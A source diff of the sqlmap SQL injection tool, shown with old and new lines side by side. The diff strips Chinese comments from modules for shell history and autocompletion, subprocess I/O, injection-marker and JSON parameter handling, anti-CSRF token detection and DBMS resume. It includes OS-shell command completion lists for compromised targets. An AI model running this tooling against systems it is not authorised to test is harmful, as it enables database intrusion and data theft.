# 如果有完整的系统信息(系统类型、版本和补丁包),则在输出中添加补丁包信息
if Backend.getOs() and kb.osVersion and kb.osSP: if Backend.getOs() and kb.osVersion and kb.osSP:
infoMsg += " Service Pack %d" % kb.osSP infoMsg += " Service Pack %d" % kb.osSP
# 如果收集到了系统信息,则记录到日志中
if infoMsg: if infoMsg:
logger.info(infoMsg) logger.info(infoMsg)
# 将确定的操作系统类型写入哈希数据库,用于后续查询
hashDBWrite(HASHDB_KEYS.OS, Backend.getOs()) hashDBWrite(HASHDB_KEYS.OS, Backend.getOs())

@ -5,34 +5,29 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的Python标准库 import atexit
import atexit # 用于注册程序退出时的回调函数 import os
import os # 提供与操作系统交互的功能
from lib.core import readlineng as readline
# 导入自定义模块 from lib.core.common import getSafeExString
from lib.core import readlineng as readline # 导入readline模块用于命令行输入处理 from lib.core.data import logger
from lib.core.common import getSafeExString # 用于安全地获取异常的字符串表示 from lib.core.data import paths
from lib.core.data import logger # 日志记录器 from lib.core.enums import AUTOCOMPLETE_TYPE
from lib.core.data import paths # 存储各种路径信息 from lib.core.enums import OS
from lib.core.enums import AUTOCOMPLETE_TYPE # 自动完成类型的枚举 from lib.core.settings import IS_WIN
from lib.core.enums import OS # 操作系统类型的枚举 from lib.core.settings import MAX_HISTORY_LENGTH
from lib.core.settings import IS_WIN # 判断是否为Windows系统
from lib.core.settings import MAX_HISTORY_LENGTH # 历史记录最大长度
try: try:
# 尝试导入rlcompleter模块用于命令补全
import rlcompleter import rlcompleter
class CompleterNG(rlcompleter.Completer): class CompleterNG(rlcompleter.Completer):
"""自定义的命令补全器类继承自rlcompleter.Completer"""
def global_matches(self, text): def global_matches(self, text):
""" """
计算简单名称的匹配项 Compute matches when text is a simple name.
参数: Return a list of all names currently defined in self.namespace
text: 要匹配的文本 that match.
返回:
匹配的命令列表
""" """
matches = [] matches = []
n = len(text) n = len(text)
@ -43,34 +38,27 @@ try:
return matches return matches
except: except:
# 如果导入失败禁用readline功能
readline._readline = None readline._readline = None
def readlineAvailable(): def readlineAvailable():
""" """
检查readline模块是否可用 Check if the readline is available. By default
在Windows系统的Python默认安装中通常不可用 it is not in Python default installation on Windows
""" """
return readline._readline is not None return readline._readline is not None
def clearHistory(): def clearHistory():
"""清除命令行历史记录"""
if not readlineAvailable(): if not readlineAvailable():
return return
readline.clear_history() readline.clear_history()
def saveHistory(completion=None): def saveHistory(completion=None):
"""
保存命令行历史记录到文件
参数:
completion: 自动完成类型决定历史记录保存的位置
"""
try: try:
if not readlineAvailable(): if not readlineAvailable():
return return
# 根据不同的自动完成类型选择不同的历史记录文件路径
if completion == AUTOCOMPLETE_TYPE.SQL: if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS: elif completion == AUTOCOMPLETE_TYPE.OS:
@ -80,14 +68,12 @@ def saveHistory(completion=None):
else: else:
historyPath = paths.SQLMAP_SHELL_HISTORY historyPath = paths.SQLMAP_SHELL_HISTORY
# 创建历史记录文件
try: try:
with open(historyPath, "w+"): with open(historyPath, "w+"):
pass pass
except: except:
pass pass
# 设置历史记录最大长度并写入文件
readline.set_history_length(MAX_HISTORY_LENGTH) readline.set_history_length(MAX_HISTORY_LENGTH)
try: try:
readline.write_history_file(historyPath) readline.write_history_file(historyPath)
@ -98,17 +84,11 @@ def saveHistory(completion=None):
pass pass
def loadHistory(completion=None): def loadHistory(completion=None):
"""
从文件加载命令行历史记录
参数:
completion: 自动完成类型决定从哪个文件加载历史记录
"""
if not readlineAvailable(): if not readlineAvailable():
return return
clearHistory() clearHistory()
# 根据自动完成类型选择历史记录文件路径
if completion == AUTOCOMPLETE_TYPE.SQL: if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS: elif completion == AUTOCOMPLETE_TYPE.OS:
@ -118,7 +98,6 @@ def loadHistory(completion=None):
else: else:
historyPath = paths.SQLMAP_SHELL_HISTORY historyPath = paths.SQLMAP_SHELL_HISTORY
# 如果历史记录文件存在,尝试加载它
if os.path.exists(historyPath): if os.path.exists(historyPath):
try: try:
readline.read_history_file(historyPath) readline.read_history_file(historyPath)
@ -132,19 +111,12 @@ def loadHistory(completion=None):
logger.warning(warnMsg) logger.warning(warnMsg)
def autoCompletion(completion=None, os=None, commands=None): def autoCompletion(completion=None, os=None, commands=None):
"""
设置命令行自动完成功能
参数:
completion: 自动完成类型
os: 操作系统类型
commands: 自定义命令列表
"""
if not readlineAvailable(): if not readlineAvailable():
return return
if completion == AUTOCOMPLETE_TYPE.OS: if completion == AUTOCOMPLETE_TYPE.OS:
if os == OS.WINDOWS: if os == OS.WINDOWS:
# Windows系统的常用命令 # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({ completer = CompleterNG({
"attrib": None, "copy": None, "del": None, "attrib": None, "copy": None, "del": None,
"dir": None, "echo": None, "fc": None, "dir": None, "echo": None, "fc": None,
@ -155,7 +127,7 @@ def autoCompletion(completion=None, os=None, commands=None):
}) })
else: else:
# Unix/Linux系统的常用命令 # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({ completer = CompleterNG({
"cat": None, "chmod": None, "chown": None, "cat": None, "chmod": None, "chown": None,
"cp": None, "cut": None, "date": None, "df": None, "cp": None, "cut": None, "date": None, "df": None,
@ -166,17 +138,14 @@ def autoCompletion(completion=None, os=None, commands=None):
"uname": None, "whoami": None, "uname": None, "whoami": None,
}) })
# 设置命令补全器
readline.set_completer(completer.complete) readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")
elif commands: elif commands:
# 使用自定义命令列表设置补全器
completer = CompleterNG(dict(((_, None) for _ in commands))) completer = CompleterNG(dict(((_, None) for _ in commands)))
readline.set_completer_delims(' ') readline.set_completer_delims(' ')
readline.set_completer(completer.complete) readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")
# 加载历史记录并注册退出时保存历史记录
loadHistory(completion) loadHistory(completion)
atexit.register(saveHistory, completion) atexit.register(saveHistory, completion)

@ -16,22 +16,17 @@ from lib.core.compat import buffer
from lib.core.convert import getBytes from lib.core.convert import getBytes
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
# 判断是否为Windows系统
if IS_WIN: if IS_WIN:
try: try:
# 导入Windows系统的文件读写和管道操作模块
from win32file import ReadFile, WriteFile from win32file import ReadFile, WriteFile
from win32pipe import PeekNamedPipe from win32pipe import PeekNamedPipe
except ImportError: except ImportError:
pass pass
# 导入Windows系统的控制台输入输出模块
import msvcrt import msvcrt
else: else:
# 导入Linux系统的文件描述符选择和文件锁定模块
import select import select
import fcntl import fcntl
# 从文件描述符中阻塞读取数据
def blockingReadFromFD(fd): def blockingReadFromFD(fd):
# Quick twist around original Twisted function # Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor # Blocking read from a non-blocking file descriptor
@ -62,35 +57,27 @@ def blockingWriteToFD(fd, data):
data_length = len(data) data_length = len(data)
wrote_data = os.write(fd, data) wrote_data = os.write(fd, data)
except (OSError, IOError) as io: except (OSError, IOError) as io:
# 如果错误码为EAGAIN或EINTR则继续循环
if io.errno in (errno.EAGAIN, errno.EINTR): if io.errno in (errno.EAGAIN, errno.EINTR):
continue continue
else: else:
# 否则抛出异常
raise raise
# 如果写入的数据长度小于数据总长度,则继续写入剩余的数据
if wrote_data < data_length: if wrote_data < data_length:
blockingWriteToFD(fd, data[wrote_data:]) blockingWriteToFD(fd, data[wrote_data:])
# 如果写入的数据长度等于数据总长度,则跳出循环
break break
# the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/ # the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/
class Popen(subprocess.Popen): class Popen(subprocess.Popen):
# 从标准输出接收数据
def recv(self, maxsize=None): def recv(self, maxsize=None):
return self._recv('stdout', maxsize) return self._recv('stdout', maxsize)
# 从标准错误接收数据
def recv_err(self, maxsize=None): def recv_err(self, maxsize=None):
return self._recv('stderr', maxsize) return self._recv('stderr', maxsize)
# 发送数据并接收标准输出和标准错误的数据
def send_recv(self, input='', maxsize=None): def send_recv(self, input='', maxsize=None):
return self.send(input), self.recv(maxsize), self.recv_err(maxsize) return self.send(input), self.recv(maxsize), self.recv_err(maxsize)
# 获取连接的最大大小
def get_conn_maxsize(self, which, maxsize): def get_conn_maxsize(self, which, maxsize):
if maxsize is None: if maxsize is None:
maxsize = 1024 maxsize = 1024
@ -98,12 +85,10 @@ class Popen(subprocess.Popen):
maxsize = 1 maxsize = 1
return getattr(self, which), maxsize return getattr(self, which), maxsize
# 关闭连接
def _close(self, which): def _close(self, which):
getattr(self, which).close() getattr(self, which).close()
setattr(self, which, None) setattr(self, which, None)
# 在Windows系统下发送数据
if IS_WIN: if IS_WIN:
def send(self, input): def send(self, input):
if not self.stdin: if not self.stdin:
@ -121,7 +106,6 @@ class Popen(subprocess.Popen):
return written return written
# 在Windows系统下接收数据
def _recv(self, which, maxsize): def _recv(self, which, maxsize):
conn, maxsize = self.get_conn_maxsize(which, maxsize) conn, maxsize = self.get_conn_maxsize(which, maxsize)
if conn is None: if conn is None:
@ -144,7 +128,6 @@ class Popen(subprocess.Popen):
if self.universal_newlines: if self.universal_newlines:
read = self._translate_newlines(read) read = self._translate_newlines(read)
return read return read
# 在非Windows系统下发送数据
else: else:
def send(self, input): def send(self, input):
if not self.stdin: if not self.stdin:
@ -162,7 +145,6 @@ class Popen(subprocess.Popen):
return written return written
# 在非Windows系统下接收数据
def _recv(self, which, maxsize): def _recv(self, which, maxsize):
conn, maxsize = self.get_conn_maxsize(which, maxsize) conn, maxsize = self.get_conn_maxsize(which, maxsize)
if conn is None: if conn is None:
@ -187,7 +169,6 @@ class Popen(subprocess.Popen):
if not conn.closed: if not conn.closed:
fcntl.fcntl(conn, fcntl.F_SETFL, flags) fcntl.fcntl(conn, fcntl.F_SETFL, flags)
# 从进程p中接收数据最多等待t秒最多接收e次每次接收tr个字节从标准错误接收数据
def recv_some(p, t=.1, e=1, tr=5, stderr=0): def recv_some(p, t=.1, e=1, tr=5, stderr=0):
if tr < 1: if tr < 1:
tr = 1 tr = 1
@ -208,7 +189,6 @@ def recv_some(p, t=.1, e=1, tr=5, stderr=0):
time.sleep(max((x - time.time()) / tr, 0)) time.sleep(max((x - time.time()) / tr, 0))
return b''.join(y) return b''.join(y)
# 向进程p发送数据
def send_all(p, data): def send_all(p, data):
if not data: if not data:
return return

@ -131,54 +131,35 @@ def _setRequestParams():
return retVal return retVal
# 如果kb.processUserMarks为None且kb.customInjectionMark在conf.data中
if kb.processUserMarks is None and kb.customInjectionMark in conf.data: if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
# 提示用户是否要处理
message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method) message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
message += "body. Do you want to process it? [Y/n/q] " message += "body. Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
# 如果用户选择退出
if choice == 'Q': if choice == 'Q':
raise SqlmapUserQuitException raise SqlmapUserQuitException
else: else:
# 将kb.processUserMarks设置为用户的选择
kb.processUserMarks = choice == 'Y' kb.processUserMarks = choice == 'Y'
# 如果用户选择处理
if kb.processUserMarks: if kb.processUserMarks:
# 将kb.testOnlyCustom设置为True
kb.testOnlyCustom = True kb.testOnlyCustom = True
# 如果conf.data中包含JSON数据
if re.search(JSON_RECOGNITION_REGEX, conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data):
# 提示用户是否要处理
message = "JSON data found in %s body. " % conf.method message = "JSON data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] " message += "Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
# 如果用户选择退出
if choice == 'Q': if choice == 'Q':
raise SqlmapUserQuitException raise SqlmapUserQuitException
# 如果用户选择处理
elif choice == 'Y': elif choice == 'Y':
# 将kb.postHint设置为POST_HINT.JSON
kb.postHint = POST_HINT.JSON kb.postHint = POST_HINT.JSON
# 如果kb.processUserMarks为True且kb.customInjectionMark在conf.data中
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
# 将conf.data设置为未编码的原始值
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
# 将kb.customInjectionMark替换为ASTERISK_MARKER
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
# 将conf.data中的字符串替换为字符串+kb.customInjectionMark
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".*?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".*?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
# 将conf.data中的字符串替换为字符串+kb.customInjectionMark
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
# 将conf.data中的数字替换为数字+kb.customInjectionMark
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
# 将conf.data中的布尔值替换为布尔值+kb.customInjectionMark
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
# 将conf.data中的数组替换为数组+kb.customInjectionMark
for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):
if not (conf.testParameter and match.group("name") not in conf.testParameter): if not (conf.testParameter and match.group("name") not in conf.testParameter):
_ = match.group(2) _ = match.group(2)
@ -187,37 +168,23 @@ def _setRequestParams():
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
# 如果conf.data中包含JSON-like数据
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
# 提示用户是否要处理
message = "JSON-like data found in %s body. " % conf.method message = "JSON-like data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] " message += "Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
# 如果用户选择退出
if choice == 'Q': if choice == 'Q':
raise SqlmapUserQuitException raise SqlmapUserQuitException
# 如果用户选择处理
elif choice == 'Y': elif choice == 'Y':
# 将kb.postHint设置为POST_HINT.JSON_LIKE
kb.postHint = POST_HINT.JSON_LIKE kb.postHint = POST_HINT.JSON_LIKE
# 如果kb.processUserMarks为True且kb.customInjectionMark在conf.data中
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
# 将conf.data设置为未编码的原始值
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
# 将kb.customInjectionMark替换为ASTERISK_MARKER
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
# 如果conf.data中包含双引号
if '"' in conf.data: if '"' in conf.data:
# 将conf.data中的字符串替换为字符串+kb.customInjectionMark
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
# 将conf.data中的数字替换为数字+kb.customInjectionMark
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
# 如果conf.data中包含单引号
else: else:
# 将conf.data中的字符串替换为字符串+kb.customInjectionMark
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
# 将conf.data中的数字替换为数字+kb.customInjectionMark
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
@ -280,71 +247,52 @@ def _setRequestParams():
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
# 如果配置的URL中包含URI_INJECTABLE_REGEX并且没有GET或POST参数并且没有提供POST提示并且没有在data中提供自定义注入标记并且URL以http开头
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
# 警告信息
warnMsg = "you've provided target URL without any GET " warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
warnMsg += "and without providing any POST parameters " warnMsg += "and without providing any POST parameters "
warnMsg += "through option '--data'" warnMsg += "through option '--data'"
logger.warning(warnMsg) logger.warning(warnMsg)
# 提示用户是否要在目标URL本身尝试URI注入
message = "do you want to try URI injections " message = "do you want to try URI injections "
message += "in the target URL itself? [Y/n/q] " message += "in the target URL itself? [Y/n/q] "
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
# 如果用户选择退出
if choice == 'Q': if choice == 'Q':
raise SqlmapUserQuitException raise SqlmapUserQuitException
# 如果用户选择尝试URI注入
elif choice == 'Y': elif choice == 'Y':
conf.url = "%s%s" % (conf.url, kb.customInjectionMark) conf.url = "%s%s" % (conf.url, kb.customInjectionMark)
kb.processUserMarks = True kb.processUserMarks = True
# 遍历URI、自定义POST和自定义头部
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
# 如果是自定义头部,并且配置了表单或爬取深度,则跳过
if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)): if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
continue continue
# 如果是自定义头部则替换掉PROBLEMATIC_CUSTOM_INJECTION_PATTERNS否则直接赋值
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
# 如果自定义注入标记在_中
if kb.customInjectionMark in _: if kb.customInjectionMark in _:
# 如果kb.processUserMarks为None
if kb.processUserMarks is None: if kb.processUserMarks is None:
# 构造提示信息
lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place]
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
# 如果用户选择退出
if choice == 'Q': if choice == 'Q':
raise SqlmapUserQuitException raise SqlmapUserQuitException
else: else:
kb.processUserMarks = choice == 'Y' kb.processUserMarks = choice == 'Y'
# 如果用户选择处理自定义注入标记
if kb.processUserMarks: if kb.processUserMarks:
kb.testOnlyCustom = True kb.testOnlyCustom = True
# 如果自定义注入标记在_中
if "=%s" % kb.customInjectionMark in _: if "=%s" % kb.customInjectionMark in _:
# 警告信息
warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg = "it seems that you've provided empty parameter value(s) "
warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "for testing. Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly" warnMsg += "so sqlmap could be able to run properly"
logger.warning(warnMsg) logger.warning(warnMsg)
# 如果没有处理自定义注入标记
if not kb.processUserMarks: if not kb.processUserMarks:
# 如果是URI
if place == PLACE.URI: if place == PLACE.URI:
# 获取查询字符串
query = _urllib.parse.urlsplit(value).query query = _urllib.parse.urlsplit(value).query
# 如果有查询字符串
if query: if query:
parameters = conf.parameters[PLACE.GET] = query parameters = conf.parameters[PLACE.GET] = query
paramDict = paramToDict(PLACE.GET, parameters) paramDict = paramToDict(PLACE.GET, parameters)
@ -453,7 +401,6 @@ def _setRequestParams():
conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders] conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
testableParameters = True testableParameters = True
# 检查并设置HashDB SQLite文件以实现查询恢复功能
if not conf.parameters: if not conf.parameters:
errMsg = "you did not provide any GET, POST and Cookie " errMsg = "you did not provide any GET, POST and Cookie "
errMsg += "parameter, neither an User-Agent, Referer or Host header value" errMsg += "parameter, neither an User-Agent, Referer or Host header value"
@ -464,15 +411,12 @@ def _setRequestParams():
errMsg += "within the given request data" errMsg += "within the given request data"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
# 检查并设置HashDB SQLite文件以实现查询恢复功能
if conf.csrfToken: if conf.csrfToken:
# 检查csrfToken是否存在于GET、POST、Cookie或header值中
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
errMsg += "found in provided GET, POST, Cookie or header values" errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
# 如果没有提供csrfToken则检查参数中是否包含anti-CSRF token
for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if conf.csrfToken: if conf.csrfToken:
break break
@ -482,7 +426,6 @@ def _setRequestParams():
message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter) message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter)
message += "Do you want sqlmap to automatically update it in further requests? [y/N] " message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
# 如果用户选择更新则将csrfToken设置为参数值
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
class _(six.text_type): class _(six.text_type):
pass pass
@ -549,76 +492,49 @@ def _resumeDBMS():
Resume stored DBMS information from HashDB Resume stored DBMS information from HashDB
""" """
# 从HashDB中恢复存储的DBMS信息
value = hashDBRetrieve(HASHDB_KEYS.DBMS) value = hashDBRetrieve(HASHDB_KEYS.DBMS)
# 如果没有值
if not value: if not value:
# 如果是离线模式
if conf.offline: if conf.offline:
# 抛出异常
errMsg = "unable to continue in offline mode " errMsg = "unable to continue in offline mode "
errMsg += "because of lack of usable " errMsg += "because of lack of usable "
errMsg += "session data" errMsg += "session data"
raise SqlmapNoneDataException(errMsg) raise SqlmapNoneDataException(errMsg)
else: else:
# 返回
return return
# 将值转换为小写
dbms = value.lower() dbms = value.lower()
# 设置DBMS版本为未知
dbmsVersion = [UNKNOWN_DBMS_VERSION] dbmsVersion = [UNKNOWN_DBMS_VERSION]
# 匹配支持的DBMS
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
# 在dbms中搜索匹配的DBMS
_ = re.search(r"\A%s (.*)" % _, dbms, re.I) _ = re.search(r"\A%s (.*)" % _, dbms, re.I)
# 如果匹配成功
if _: if _:
# 将dbms设置为匹配的DBMS
dbms = _.group(1).lower() dbms = _.group(1).lower()
# 将dbmsVersion设置为匹配的DBMS版本
dbmsVersion = [_.group(2)] dbmsVersion = [_.group(2)]
# 如果用户提供了DBMS
if conf.dbms: if conf.dbms:
# 设置check为True
check = True check = True
# 遍历DBMS_DICT中的值
for aliases, _, _, _ in DBMS_DICT.values(): for aliases, _, _, _ in DBMS_DICT.values():
# 如果用户提供的DBMS在aliases中而dbms不在aliases中
if conf.dbms.lower() in aliases and dbms not in aliases: if conf.dbms.lower() in aliases and dbms not in aliases:
# 设置check为False
check = False check = False
# 跳出循环
break break
# 如果check为False
if not check: if not check:
# 提示用户
message = "you provided '%s' as a back-end DBMS, " % conf.dbms message = "you provided '%s' as a back-end DBMS, " % conf.dbms
message += "but from a past scan information on the target URL " message += "but from a past scan information on the target URL "
message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms
message += "Do you really want to force the back-end " message += "Do you really want to force the back-end "
message += "DBMS value? [y/N] " message += "DBMS value? [y/N] "
# 如果用户输入y
if not readInput(message, default='N', boolean=True): if not readInput(message, default='N', boolean=True):
# 设置conf.dbms为None
conf.dbms = None conf.dbms = None
# 设置Backend的DBMS为dbms
Backend.setDbms(dbms) Backend.setDbms(dbms)
# 设置Backend的DBMS版本为dbmsVersion
Backend.setVersionList(dbmsVersion) Backend.setVersionList(dbmsVersion)
else: else:
# 提示用户恢复DBMS
infoMsg = "resuming back-end DBMS '%s' " % dbms infoMsg = "resuming back-end DBMS '%s' " % dbms
logger.info(infoMsg) logger.info(infoMsg)
# 设置Backend的DBMS为dbms
Backend.setDbms(dbms) Backend.setDbms(dbms)
# 设置Backend的DBMS版本为dbmsVersion
Backend.setVersionList(dbmsVersion) Backend.setVersionList(dbmsVersion)
def _resumeOS(): def _resumeOS():
@ -626,7 +542,6 @@ def _resumeOS():
Resume stored OS information from HashDB Resume stored OS information from HashDB
""" """
